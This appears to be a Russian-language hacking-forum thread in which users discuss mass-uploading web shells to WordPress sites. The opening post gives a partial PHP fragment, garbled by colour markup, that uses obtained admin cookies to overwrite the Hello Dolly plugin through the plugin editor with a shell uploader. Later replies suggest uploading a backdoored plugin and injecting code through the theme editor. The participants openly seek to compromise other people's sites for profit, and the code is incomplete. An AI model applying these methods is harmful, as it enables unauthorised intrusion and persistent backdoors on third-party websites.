Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Заливка шелла в wordpress (https://forum.antichat.xyz/showthread.php?t=487730)

Storks 01.08.2022 13:11

Понадобился скрипт для заливки шеллов в вп, нашел свою старую наработку через плагин Hello Dolly, вот ключевой кусок который показывает концепцию

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]$hello_edit[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'http://'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'/wp-admin/plugin-editor.php?file=hello.php'[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$hello_path[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'http://'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'/wp-content/plugins/hello.php'[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$plugin_editor[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'http://'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'/wp-admin/plugin-editor.php'[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curlPostCookies[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$hello_edit[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cookies[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]extractFormData[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#FF8000"]//var_dump($data);
//var_dump($code);
//exit();
[/COLOR][COLOR="#0000BB"]$code[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]urlencode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$code[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curlPostCookies[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$plugin_editor[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'&newcontent='[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$code[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cookies[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curlGet[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$hello_path[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#FF8000"]//var_dump($response);
[/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'~url:(.+)~'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]];
[/
COLOR][COLOR="#FF8000"]//echo $url;
[/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curlPostCookies[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$hello_edit[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cookies[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]extractFormData[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curlPostCookies[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$hello_edit[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'&newcontent='[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]urlencode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$hello_dolly_text[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]$cookies[/COLOR][COLOR="#007700"]);
if([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"])
return[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"];
return[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];[/COLOR][/COLOR

Суть ясна - меняем текст плагина на наш пхп код (в моем случае это заливщик который ищет папку на запись и выдает урл куда загрузился шелл). Года три назад пробив был нормальным в принципе, 10% шеллов с пачки админок получалось, сейчас это вообще не работает, практически ни один шелл не залился. Мб что-то поменялось с тех пор или waf стали настолько продвинутыми? Может есть какой-то более адекватный способ грузится?

1NtR0 05.08.2022 10:14

Ничего не понятно .. А где функции curlPostCookies, curlGet,extractFormData?

Код:

Code:
$response = curlPostCookies($hello_edit, $data.'&newcontent='.urlencode($hello_dolly_text), $cookies );

А откуда взялся $hello_dolly_text ?

$cookies тоже где-то потерялись ))

Странно что этот код вообще что-то заливал

b3 05.08.2022 21:13

Цитата:

Сообщение от 1NtR0
1NtR0 said:

Странно что этот код вообще что-то заливал

Цитата:

Сообщение от Storks
Storks said:

вот ключевой кусок который показывает концепцию

он часть показал, сам смысл в том что он редактирует плагин через встроенный редактор. Ну вообще нужно бы пройтись по всем установленным плагинам и проверить у которого есть права на редактирование и потом править. Ну и так же прикрутить запасной вариант через загрузку нового плагина. Плюс можно код инжектить в саму тему через редактор тем.

Storks 05.08.2022 22:14

Цитата:

Сообщение от b3
b3 said:

он часть показал, сам смысл в том что он редактирует плагин через встроенный редактор. Ну вообще нужно бы пройтись по всем установленным плагинам и проверить у которого есть права на редактирование и потом править. Ну и так же прикрутить запасной вариант через загрузку нового плагина. Плюс можно код инжектить в саму тему через редактор тем.

Звучит как хороший план. А можно примеры с эксплойтом или кодом на?:
  1. проверку плагинов на записб
  2. загрузку своего плагина
  3. инжект через редактор тем

Если уже подобные методы обсуждались и обсасывались то это только плюс, потому что с нуля самому велосипед городить не хочется. ЯП не принципиален, я все равно под питон буду переписывать.

b3 08.08.2022 16:19

Цитата:

Сообщение от Storks
Storks said:

А можно примеры с эксплойтом или кодом

мне лень писать) бери снифер, заходи в админку и снифай пакеты, там все очень банально и просто. заходишь в плагины, регуляркой собираешь из формы все имена плагинов, потом в каждый плагин заходишь и пытаешься редактировать файл/файлы.

Загрузка плагина тоже самое, гуглишь пустой плагин, вписываешь в него свой бэкдор или отстук и загружаешь паралельно снифая загрузку чтоб воссоздать это в коде на ЯП.

Storks 09.08.2022 13:18

Цитата:

Сообщение от b3
b3 said:

мне лень писать) бери снифер, заходи в админку и снифай пакеты, там все очень банально и просто. заходишь в плагины, регуляркой собираешь из формы все имена плагинов, потом в каждый плагин заходишь и пытаешься редактировать файл/файлы.
Загрузка плагина тоже самое, гуглишь пустой плагин, вписываешь в него свой бэкдор или отстук и загружаешь паралельно снифая загрузку чтоб воссоздать это в коде на ЯП.

спасибо, попробую.

Если кто-то подкинет еще идей или рабочий код будет тоже очень мило


Время: 07:31